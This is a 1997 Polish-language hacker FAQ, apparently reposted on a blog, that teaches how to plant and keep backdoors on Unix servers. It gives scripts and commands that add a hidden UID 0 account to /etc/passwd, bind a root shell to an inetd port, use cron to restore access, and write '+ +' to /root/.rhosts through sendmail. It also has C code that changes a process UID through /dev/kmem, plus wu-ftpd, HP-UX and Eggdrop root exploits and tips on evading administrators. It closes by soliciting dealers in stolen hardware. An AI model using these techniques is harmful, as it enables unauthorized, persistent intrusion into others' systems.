Blog literacki, portal erotyczny - seks i humor nie z tej ziemi
BANAN's FAQ
Last Modified : 21 September 1997
Contents of Backdoors FAQ:
1 Co to sa tylne drzwi................................: BANAN
2 Rodzaje tylnych drzwi.
I Adding user to /etc/passwd........................: Brajek
II Inetd.............................................: BANAN
III Cron & Crontab....................................: Brajek
IV SendMail..........................................: BANAN
V Trojan w Source code..............................: Brajek
VI Zmiania UID w pamieci.............................: Brajek
3 Jak zachowac tylne drzwi............................: BANAN
4 Jak zdobyc roota za pomoca ftp (bug w wu-ftpd)......: BANAN
5 Root na HP-UX 9000/700, 9000/800....................: BANAN
6 Sirc2, czyli irc-owy spoofer........................: BANAN
7 Bug w Eggdropie.....................................: BANAN
___________________________
| |
| 1. Co to sa tylne drzwi. |
|___________________________|
Wprowadzenie:
Tylne drzwi czy tez tylne wejscie, jest to sposob w jaki moazna dostac
sie do systemu bez koniecznosci logowania sie. Mozna to zrobic dodajac
specjalny port w telnecie, uzywajac Cron'a albo po prostu dodajac
uzytkownika z prawami root'a do pliku /etc/passwd.
Sprobujemy pokazac pare spsobow jak to zrobic i jak zatrzymac te "drzwi"
gdy admin sie pokapuje co jest grane-:))
Co potrzebujesz:
Przede wszystkim potrzebujesz roota na na serwerze w ktorym chcesz zrobic
backdoors:(( Pozniej musisz miec jakis dobry edytor np. emacs albo vi, no
i potrzebujesz troche szczescia-:))
Jak to sie robi:
Kiedy sprawdzisz juz jaki jest dostepny edytor, sprawdzisz kto ty jestes:)
(komenda whoami) sprawdzisz zawartosc katalogu /etc to jestes gotowy do
zabawy:))
_____________________________
| |
| 2. Rodzaje tylnych drzwi. |
|_____________________________|
------------------------------------------
BACKDOORS I (adding user to /etc/passwd) |
------------------------------------------
Chyba najprosztsza metoda i najberdziej znana jest stworzenie nowego
uzytkownika, a dokladnie dopisanie go do pliku /etc/passwd. Dopisujemy sobie
najlepiej gdzies w srodku pliku taka linijke:
EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh
Chyba nie trzeba tlumaczyc ze daje nam to prawa root'a :). Poza tym pamietaj
aby ustawic odpowiednie katalog domowy i Shella.
Taka robote wykona za nas ten skrypt :
---cut here---
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
---cut here---
Czasami pojawia sie problem, gdyz system zawiera shadow'y. W nowych systemach
jest to zazwyczaj plik /etc/shadow. Ale jesli masz prawa root'a to mozesz
rownie dobrze dopisac sie do pliku shadow.
----------------------------
BACKDOORS II (using inetd) |
----------------------------
Sposob I :
----------
Oto czego masz szukac:
/etc/services Ten plik pozwoli ci znalezc port.
/etc/inetd.conf To jest plik w ktorym beda tylne drzwi.
W pliku /etc/services znajdziesz cos takiego:
tcpmux 1/tcp #TCP Port Service Multiplexer
tcpmux 1/udp #TCP Port Service Multiplexer
compressnet 2/tcp #Management Utility
compressnet 2/udp #Management Utility
compressnet 3/tcp #Compression Process
compressnet 3/udp #Compression Process
Pewnie myslisz co to kurwa jest, i po co mi to, postaram sie to wyjasnic na
tym przykladzie:
ftp 21/tcp #File Transfer [Control]
ftp 21/udp #File Transfer [Control]
[1] [2]/[3] #[ 4 ]
1.Nazwa serwisu w systemie (tutaj ftp, jakby ktos nie wiedzial:)
2.Port jaki uzywa serwis.
3.Protokol (mozesz wybrac oba, czyli tcp i udp)
4.Jakie jest przeznaczenie danego serwisu.
Na razie nie jest ci to potrzebne, ale pozniej sie przyda.
Teraz looknij sobie do /etc/inetd.conf inetd.conf jest to plik configuracyjny
dla demona inetd, ze zdefiniowana jednoznaczna relacja miedzy polaczeniem
z jakims portem i demonem, ktory ma byc uruchomiony. A wyglada on sobie w ten
sposob:
ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
telnet stream tcp nowait root /usr/libexec/tcpd telnetd
shell stream tcp nowait root /usr/libexec/tcpd rshd
login stream tcp nowait root /usr/libexec/tcpd rlogind -a
exec stream tcp nowait root /usr/libexec/tcpd rexecd
Wyjasnienie tych bzdetow:)):
ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
[1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ]
1.Nazwa demona, mowi ona inetdtowi:) czego ma szukac w pliku /etc/services
i patrzy ktorego portu uzyc podczas polaczenia.
2.Rodzaj polaczenia jaki przyjmie demon.
3.Protokol, zawsze jest to albo tcp albo udp.
4.Jak dlugo zwlekac z polaczniem.
5.Jaki urzytkownik moze uruchomic dnaego demona.
6.Jaki program bedzie podtrzymywal polacznie.
7.Aktualna komenda albo demon.
Dobra, cofnij sie do pliku /etc/services. Popatrz na niego i wybierz jeden
z serwisow ktory sadzisz ze admin nie sprawdzi, zapamietaj go sobie.
Teraz skocz do pliku /etc/inetd.conf Dopisz w nim to co zapamietales
z /etc/services. Powiedzmy ze zapamietales serwis ftp.
Musisz wiec dopisac do inetd nastepujaca linijke:
ftp stream tcp nowait root /bin/sh sh -i
Teraz musisz zresartowac demona inetd. Zeby to zrobic piszesz:
killall -HUP inetd
Teraz przetestujmy co zrobiles (roznie to wyglada, zaleznie od systemu):
telnet pechowy.host.com 21
Trying 123.456.78.9...
Connected to comp.com
Escape character is '^]'.
bash#
bash# whoami
root
bash#
tip:
Nie uzywaj portu 21, jest zbyt czesto uzywany. Wybierz serwis ktory jest zadko
uzywany, jesli chcesz dlugo zachowac tylne drzwi.
Sposob II :
-----------
Jesli masz dobre checi mozesz sam dodac swoj wlasny serwis do pliku
/etc/services Jest to dosc proste-:))) Powiedzmy ze twoj plik service
wyglada tak:
netbios-ssn 139/tcp nbssn
imap 143/tcp # imap network mail protocol
NeWS 144/tcp news # Window System
snmp 161/udp
Dobra, popatrz sobie na porty, widzisz jak przeskakuja po kilka.
Moze cos tam dolozymy:) np:
netbios-ssn 139/tcp nbssn
suled 142/tcp suled
imap 143/tcp # imap network mail protocol
NeWS 144/tcp news # Window System
snmp 161/udp
Jak widac dolozylem serwis suled do pliu /etc/services
Teraz trzeba sie wziac za plik /etc/inetd.conf
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
gopher stream tcp nowait root /usr/sbin/tcpd gn
No i robimy swoje, a wiec dodajemy serwis suled.
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
gopher stream tcp nowait root /usr/sbin/tcpd gn
suled stream tcp nowait root /bin/sh sh -i
Teraz zrestartuj inetd jak poprzednio.
Wszystko juz gotowe, teraz telnetujesz sie:
telnet localhost 142 i testujesz to wszystko jak w przykladzie pierwszym
----------------------------
BACKDOORS III: (using Cron) |
----------------------------
Konie trojanskie cron sa dobre gdy admin polapal sie z "dzwiami" a chcesz
dalej utrzymac roota. Cron jest czasowym demonem, sklada sie z godzin, minut
itd. Powoduje on ze system automatycznie daje dojscie do komend w shellu,
dajac czas na wybor... Wpisz w shellu crontab, powie ci jak uruchomic i
usunac crona. Idz do /var/spool/cron/crontabs/root
A oto jak wyglada cron:
0 0 * * 1 /usr/bin/updatedb
[1] [2] [3] [4] [5] [ 6 ]
1.Minuty, 0-59
2.Godziny, 0-23
3.Dni w miesiacu, 1-31
4.Miesiace w roku, 1-12
5.Dni w tygodniu, 0-6
6.Komenda do wykonania
Wykorzystac Cron'a w celu zostawienia sobie Backdoor'a mozna na wiele
sposobow. Podam to kilka z nich. Oczywiscie mozesz sobie wymyslic na ich
podstawie taki sposob ktory bedzie ci najbardziej odpowiadal.
Sposob I :
----------
To przykladowy skrypt ktory bedzie sprawdzal czy w pliku /etc/passwd
znajduje sie nasze konto z uid 0 (ktore wczesniej oczywiscie dodalismy).
Jesli nie, automatycznie je doda za nas (tutaj jest to uzytkownik o nazwie
'eviluser', najlepiej zmien je na mniej podejrzane) .
Oczywiscie jezeli chcemy aby skrypt ten byl wywolywany raz na dobe to
wystraczy dodac do spisu polecen Cron'a taka linijke:
0 0 * * * /usr/bin/trojancode
---cut here---
#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.com
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
---cut here---
Sposob II :
-----------
Do Crona mozemy tez dorzucic linijke ktora
wywola skrypt ktory np. o godz. 1:32 kazdej nocy
podmieni prawdziwy plik /etc/passwd na jakis nasz
schowany gdzies w systemie np. w /var/spool/mail/.sneaky.
Doprowadzi to do tego ze ty bedziesz mogl sie zalogowac ale
w tym czasie nikt inny. Ale mozesz zaraz po minucie
zamienic pliki z powrotem. Wtedy normalnemu uzytkownikowi
podczas logowania wyskoczy blad ale juz np. za minute
wszystko bedzie ok.
Oto jak to zrobic :
Najpierw stworzymy falszywy plik passwd:
#echo "root:SDhj65.daa:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
Teraz dodamy linijke do Cron'a
32 1 * * * /bin/usr/sneakysneaky_passwd
a teraz interesujacy nas skrypt:
---cut here---
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
---cut here---
Sposob III :
------------
Ustawiamy Cron'a np. raz w tygodniu w Srode na 3:00 am, zeby dodal user'a do
/etc/passwd z uid 0. Ustawiamy tez zeby np. o 4:00 am tego dnia usunal dana
linijke z /etc/passwd (albo miec przygotowany passwd i tak jak wyzej tylko
podmieniac). W tym przypadku ty bedziesz mogl sie logowac i inni tez gdyz
passwd podmieniany bedzie zawieral narmalny passwd i jeszcze jedna dodatkowa
linijke z twoim uzytkownikiem z uid 0.
To wszystko sa to przyklady jak wykorzystac Cron'a w celu zalozenia sobie
Backdoor'ow na systemie i jak juz powiedzialem to zalezy tylko do Ciebie
co dokladnie bedzie wykonywane :).
--------------------------------
BACKDOORS IV (using sendmail ) |
--------------------------------
Musisz dodac do /etc/aliases ta linijke:
decode: |/usr/bin/uudecode
Plik uudecode bedzie sluzyl jako .rhosts (jesli ktos nie wie jaka jest dziura
w pliku .rhosts to niech sie dowie:) odsylam tu np. do faqa P0WERA, mozna go
znalezc mdzn. na http://www.mega.com.pl/users/hacker)
A tutaj skrypt ktory wszystko zalatwi:))
uudecode.sh
-----------
#!/bin/sh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Teraz telnet pechowy.host.com 25
Po komendzie data wpisujesz:
echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com
-----------------------------------
BACKDOORS V (Trojan w Source code) |
-----------------------------------
Ten sposob polega na dopisaniu sie do kodu zrodlowego jakiegos czesto
uruchamianego programu, ktory automatycznie jest uruchamiany na SUID root'a.
Takie przykladowe programy to login, passwd. Nie bede tutaj podawal jakiegos
zmodyfikowanego pliku gdyz na roznych systemach kod wyglada roznie. Podam tylko
ogolna metode dopisywania do kodu jakiegos programu:
...
1) pobierz dane
2) jezeli dane sa specjalnym ciagiem znakow (haslem, textem itd.) wykonaj
odpowiednie operacje
3) Jezeli dane sa poprawne (chodzi o zachowanie sie prawdziwego programu)
to wykonuj to co robi dany program
4) Jezeli dane nie sa poprawne (dla normalnego programu) to wypisz informacje
o bledzie
...
To jest ogolna metoda dzialania backdoor'a opartego na tym sposobie.
Poza tym widzimy ze punkty 3 i 4 sa normalnie wykonywane przez odpowiedni
program wiec najlepiej dopisac gdzies tylko punkt 2). Chodzi o to ze najlepiej
do zrodla programu dopisac instrukcje sprawdzajacy czy dane sa odpowiednim
textem, haslem itd. Jesli nie to po porostu niech program dziala normalnie
(oryginalny source code danego programu). Wtedy wygladalo by to nastepujaco:
...source code... (w tym punnkt 1) pobieranie danych)
2) jezeli dane sa specjalnym ciagiem znakow (haslem, textem itd.) wykonaj
odpowiednie operacje jesli nie to nic nie rob
...source code... (kolejne punkty)
Proste latwe i przyjemne. Poza tym chyba trudniejsze do wykrycia niz wyrzej
wymienione sposoby.
------------------------------------
BACKDOORS VI (Zmiana UID w pamieci) |
------------------------------------
Kolejne sposob na Backdoor'a to zmiana wlasnego UID w pamieci. Kernel trzyma
wszystkie parametry w pamieci przez co mozliwa jests zmiana UID wlasnego
procesu. Aby to zrobic musimy miec dostep read/write do /dev/kmem :(. Aby tego
dokonac nalezy:
1) Otworzyc /dev/kmem
2) isc do odpowiednieog miejsca w pamieci (naszego prcesu)
3) zmienic UID naszego procesu
4) wywolac shell'a ktory odziedziczy tego UID
Powyzsze kroki wykonuje za nas nastepujacy skrypt:
---cut here---
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by daemon9@netcom.com */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include
#include
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
---cut here---
Jedyny problem to to, ze /dev/kmem musi byc read/write. Ale przeciez mamy juz
prawa i robimy sobie backdoor'a to mozemy wykorzystac do tego Cron'a. Mozemy
dopisac odpowiednie linie do Cron'a ktory wywola skrypt. Skrypt przez pewien
czas zmieni /dev/kmem na read/write. (Patrz takze, BACKDOORS III - Cron)
Oto taki skrypt:
---cut here---
#!/bin/csh
#change chmod of /dev/kmem for 5 minutes
#daemon9@netcom.com
chmod 666 /dev/kmem
sleep 360 # Przerwa przez 5 minut
chmod 600 /dev/kmem # Albo co innego, zeby bylo jak wczesniej
---cut here---
Widzimy wiec, ze ten skrypt przez 5 minut zmieni atrybuty /dev/kmem tak abysmy
mogli zmienic wlasne UID. Mozemy takze dopisac wywolanie skryptu wczesniej
wypisanego, ktory zmieni za nas UID.
____________________________
| |
| 3.Jak zachowac tylne drzwi |
|____________________________|
Jesli bedziesz uzywal tylnych drzwi spokojnie:))))) i nie szalal po
serwerze tak aby admin sie nic nie pokapowal to bedziesz mogl miec tylne
drzwi bardzo dlugo.
________________________
| |
| 4.Root za pomoca ftp |
|________________________|
Najpierw skompiluj ponizszy exploit (gcc nazwa_exploitu)
Powstanie plik a.out
main() {
setuid(0);
seteuid(0);
system("cp /bin/sh /tmp/suidroot");
system("chmod a+rwxs /tmp/suidroot");
}
Teraz stworz skrypt o nazwie root.sh:
exec a.out <----- a.out is the name of the compiled C code
Teraz ftp, login anonymous, password twoj login@host.com i piszesz
ftp> quote site exec sh root.sh
Teraz wyjdz z ftp i uruchom plik /tmp/suidroot a bedziesz mial roota!!!
____________________________________
| |
| 5.Root na HP-UX 9000/700, 9000/800|
|___________________________________|
Rob poprostu wszystko jak leci a bedziesz mial niespodzianke:)
1. Zaloguj sie na zwykle konto
2. Zrob sym linka komenda: ln -s /.rhosts /tmp/tempfile
3. Uruchom program sysdiag: /bin/sysdiag
4. Gdy go uruchomisz zamiast zwyklego prompa bedziesz mial DUI
5. Z DUI: outfile /tmp/f1
6. Z DUI: + +
7. Z DUI: redo
8. Z DUI: exit
9. Teraz juz bedzie zwykly promp, wiec piszesz:
rlogin locahost -l root
10.Masz niespodzianke:)
_______________________________
| |
| 6.Sirc2, czyli irc-owy spoofer|
|_______________________________|
Programy o nazwach od sirc2 do sirc4, sa to spoofery za pomoca ktorych
mozesz zmienic swoje ip. Pozwala to na zrobienie paru fajnych rzeczy na
ircu i nie tylko. Ja podam i opisze sirc2, oraz krotko przedstawie jego
funkcje. Spoofer umiescilem razem z faqiem. Oto jak go uzyc:
sirc2 1.1.1.1 unseen.org 6667 -i Kutasik kutasik@niezle.jaja "Franiu Prucnal"
Male wyjasnienie co jest co:
1.1.1.1 - twoje ip :)
unseen.org - serwer irc
6667 - port serwa irc
Kutasik - pod jakim nickiem bedziesz na irc
kutasik@ - uzytkownik i host pod jakim bedziesz na irc (host musi istniec
w bazach DNS).
"Franiu..." - Informacja jakie jest twoje prawdziwe imie.
_____________________
| |
| 7.Bug w Eggdropie |
|_____________________|
Bot Eggdrop posiada dostep do wszystkich plikow w systemie.
Niestety bot musi byc odpalony na roocie (kto odpala bota na roocie:(((
Jednak jesli uda ci sie znalesc takiego kretyna, to mozesz zrobic
z serwerkiem co chcesz.
Testowane na Eggdropie 1.0
[1:21]
[1:21]
[1:21]
[1:21]
[1:21]
[1:21]
Mozesz tesz sprobowac:
.tcl exec echo "hacker::0:0:/:/bin/bash" >> /etc/passwd
________________________________________________________________________
Najnowsza wersja tego faq bedzie zawsze dostepna na www.sp00lka.lublin.pl
Jesli ktos chce sie ze mna skontaktowac to jestem do dyspozycji albo
na irc, na kanalach #hackpl i #sandomierz lub email: banan@cybergal.com
OGLOSZENIE:)))
Poszukuje osob ktore handluja kradzionym sprzetem komputerowym.
Mowie serio, potrzebuje kupic tanio komputer, ale brak funduszy
wiec to jest dla mnie ostatnia szansa.
BANAN